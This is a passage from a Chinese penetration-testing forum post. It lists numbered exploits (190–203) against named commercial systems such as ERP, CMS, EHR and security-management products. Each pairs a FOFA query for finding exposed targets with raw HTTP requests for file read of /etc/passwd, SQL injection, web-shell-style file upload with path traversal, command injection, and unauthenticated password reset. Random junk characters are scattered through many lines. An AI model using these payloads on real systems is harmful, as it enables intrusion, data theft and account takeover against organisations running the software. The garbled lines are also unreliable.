User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  k* {+ o9 Y0 u' H1 u9 bAccept-Language: zh-CN,zh;q=0.9
, k; [% W% S) a+ s4 nConnection: close
6 s2 e% R' z( V

% o) e7 F4 e/ c7 o( V190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
) \1 K7 Y& e2 C3 @2 z2 |  c: oPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
* V! m; E, u6 Z& xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# \5 |& [) t8 W
poi=file:///etc/passwd
% \  D$ \# @; H' \% R9 C2 m/ U! p

' P' C; X8 Z+ y. Z. @. ]( g2 ~191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
2 ~( q1 L) n& `+ _- w4 M& RHost: your-ip
. m8 _) V+ U( EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
4 x9 G- y$ Y! q) z& D

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
+ Z; w6 Z. |& M' c! W2 nFOFA：title="用户登录_富通天下外贸ERP"
2 v* j, y: R5 x  X" P3 nPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& [& E+ w1 A8 c8 x. A# a! ]9 Y
/ v3 A8 X0 \- n5 Y7 j
; }' ?- a# n9 }  c<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
4 D8 f( n1 X& W3 f% S) F{
public bool IsReusable
$ d0 [# M! f4 x+ _+ c3 ]* A{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
' @' x  e3 A- r- h* s{
ctx.Response.Write("test");
}
2 X$ F: s/ m( O# q. O}
& H8 A2 i: x7 \3 o

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" A1 h; V  }2 s: N$ s8 R5 d6 aFOFA：body="山石云鉴主机安全管理系统"
2 ~0 w. o) m; j5 _' P) aGET /master/ajaxActions/getTokenAction.php HTTP/1.1
! b( k6 _, A- o9 LHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
8 P, }5 N% v' `. gUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
+ W1 w- i& n6 B( [) I- YUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
8 b- _+ x3 z% }  @2 x) ~9 I- }0 UAccept: */*
Connection: close
7 o5 [4 T, b" v/ i6 YCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
# l/ f, u/ Z) M# ~, [8 Z* L+ S
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
5 z) g+ O1 z/ A: e
  q7 ]) u, Q; `
GET /master/img/config HTTP/1.1
/ j- B+ k3 _( R* M7 lHost:
- d7 `" k' D0 V) SUser-Agent: Mozilla/5.0


) e% C( Q) C: _' y: c8 r/ g194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& d( V2 Y2 r# {9 e9 `2 RFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
5 e8 E( F. N" B' ~' a+ ]
) _4 ^7 ^; V7 ~$ FPOST /servlet/uploadAttachmentServlet HTTP/1.1
. j+ E6 }$ ?: KHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
! w, c& W/ [) m2 w' E2 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) e* d7 P5 U# b; P9 Q- D8 nAccept-Encoding: gzip, deflate
Connection: close
3 R3 G2 T2 ^) b$ K  e( rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

  K' R# r/ i  n; N  y0 n0 JContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
0 n" Q* F0 x5 c$ U1 }+ s; JContent-Type: text/plain
5 D7 S# z+ N6 x<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
& Q6 L9 |# Y; w. X) E- w+ U( f9 o {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
" [) @: q( i. r9 N9 _" \
. L/ P, d' x, v% w: O
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
6 t6 }' U7 f" A( pPOST /send_order.cgi?parameter=operation HTTP/1.1
  X  W1 X; I1 o8 |Host: 127.0.0.1
Pragma: no-cache
( T" @5 Y0 H) @3 VCache-Control: no-cache
1 b  \/ L3 q1 A; @3 a0 q3 P2 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
9 P. Y$ R5 i0 M4 MAccept-Language: zh-CN,zh;q=0.9
& r9 H" z( {" K- E! O' cConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
& A- u' y( W$ Q3 V, e/ Q
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
/ m6 t+ B+ E' A9 j  v" q2 I

; Q* i& ?. _. R4 q. Z" P: n196. 河南省风速科技统一认证平台密码重置
4 j8 l: n8 \% e. y: }FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
+ o, C) n. I0 M0 K" I/ OX-Requested-With: XMLHttpRequest
/ |1 i% a9 D% p2 QHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
8 n+ C* e" ^. N, bContent-Length: 45
, z6 g7 |6 H& M: c/ t; N$ iConnection: close
$ J: ~' p/ L4 u% b9 {+ V
( O, K7 i8 w! u& b% V" g8 ]{"xgh":"test","newPass":"test666","email":""}
  O) {4 ~: k! @% E/ o5 Z# {$ ^* t


197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
( l6 \6 z* ?1 j+ ~- D0 d; j" }Host:
2 |8 K  w: g, h1 E9 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
- g% `# W; Q) y' J% ^3 e' D  {Accept-Encoding: gzip, deflate
# }5 L: l4 [; M% L9 s1 UConnection: close
3 `$ a: y6 j8 [$ i9 g5 N& E


198.  阿里云盘 WebDAV 命令注入
- a( `( x; l- b  H% PCVE-2024-29640
+ n* q5 o2 n9 R" KGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
8 ?# c* L! U* ^1 s9 t. cCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
+ [( v4 C1 {+ c3 a/ z* a0 i/ oAccept-Encoding: gzip, deflate
7 @% n- y% L4 E# bAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


199. cockpit系统assetsmanager_upload接口 文件上传
: h; r% R* R7 d% U# V
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
8 w( _- J5 q. T: c2 nGET /auth/login?to=/ HTTP/1.1
, l! ^. K# k# _$ C: B* m
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
: z+ g* ]: P5 T5 {
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json

1 a0 ~5 C* j# t, c. g9 Q{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
. _' V8 Z# S4 f
# J. w) U7 K; P+ ~响应：200，返回值:
4 Z: Z  @  h, L. u2 S$ J$ ySet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
  Z( F- ^$ O2 d3 ]  qFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
$ u8 C3 l2 V, q0 ?# J! dCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
5 _/ ?( M% q' K. M& \Content-Disposition: form-data; name="files[]"; filename="tttt.php"
9 u! v- B. u: r( KContent-Type: text/php
5 p1 g+ W+ N% z6 B4 k
<?php echo "tttt";unlink(__FILE__);?>
% Y, K1 s5 A  H! ?-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
4 L8 p# `2 ]- ^1 A0 ~, C
  h( M7 x* q5 [8 R# |& J, c
% i; F/ e+ s) T7 G, W: s/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
& h* h- M& c  x. f* R, ?2 W7 i# sFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
7 |3 ]5 g& b: D+ P" YCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
% I) j) u' ~) \Cache-Control: max-age=0
  t9 ~% V3 [. d! F7 Y4 h+ d+ M3 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ m+ s; |; M2 F' IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
5 T" k0 T$ b6 p0 J# l: Q6 C$ [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; T$ c  t1 E* ~2 iConnection: close
. [6 |8 u/ b6 O' |1 Y6 j$ V
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


6 S2 L8 Z# s: _3 t202. 微擎系统 AccountEdit任意文件上传
+ K; }; s% z" }7 R& R, f1 G* dFOFA：body="/Widgets/WidgetCollection/"
4 z; s+ k5 `# `6 R1 w; k获取__VIEWSTATE和__EVENTVALIDATION值
. j0 M, u# |6 [1 cGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
# f! ~; Q+ F2 B" Y2 {( v

替换__VIEWSTATE和__EVENTVALIDATION值
" t8 K1 @  @. c8 i+ Q- k( {) TPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
6 _, m' P- Y. U% E. vContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
$ l' g# W1 N5 `3 S6 K1 ]) t4 h, g
0 a7 M; r" _5 V& i! A, m$ f" E5 O-----------------------------786435874t38587593865736587346567358735687
. U0 `" i* W& |. C2 S  m$ ZContent-Disposition: form-data; name="__VIEWSTATE"
- v4 J6 K; r3 v, U. A0 R
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
+ C7 v0 a5 d) GContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

1 p$ }% V. B% t1 S0 b' P" t, B; pHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
* V1 j: k, o7 C% D* Y9 ?, d-----------------------------786435874t38587593865736587346567358735687
) n6 R8 \! N* z" m$ q* H$ r- z  bContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
# l& [/ w0 t9 D0 k! yContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

1 y6 B$ l5 r6 S* ]2 n
-----------------------------786435874t38587593865736587346567358735687--
" {& P; Q2 K! H# ~" s' F

/_data/Uploads/1123.txt

! N# r$ M, k, k0 p: ]0 @5 B203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
, T7 U; t* d8 d# J6 aAccept-Encoding: gzip
, F2 Z3 Q3 K0 m! v' qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' L3 q4 M% L* l' A. T+ T1 \7 ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
# u! k- c8 X. i& `# H$ n9 SContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
$ v* u: h% R+ s$ w" J7 g( i
<% out.print("hello,eHR");%>
/ o) e2 s& H( I( K, R' \* U2 K------WebKitFormBoundaryt7WbDl1tXogoZys4--
5 k) q8 O& |9 I2 L- q
# I/ o# `5 d2 K& V! r
( h5 K% L6 n; M2 Q* S


% R# _; C; j+ @

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2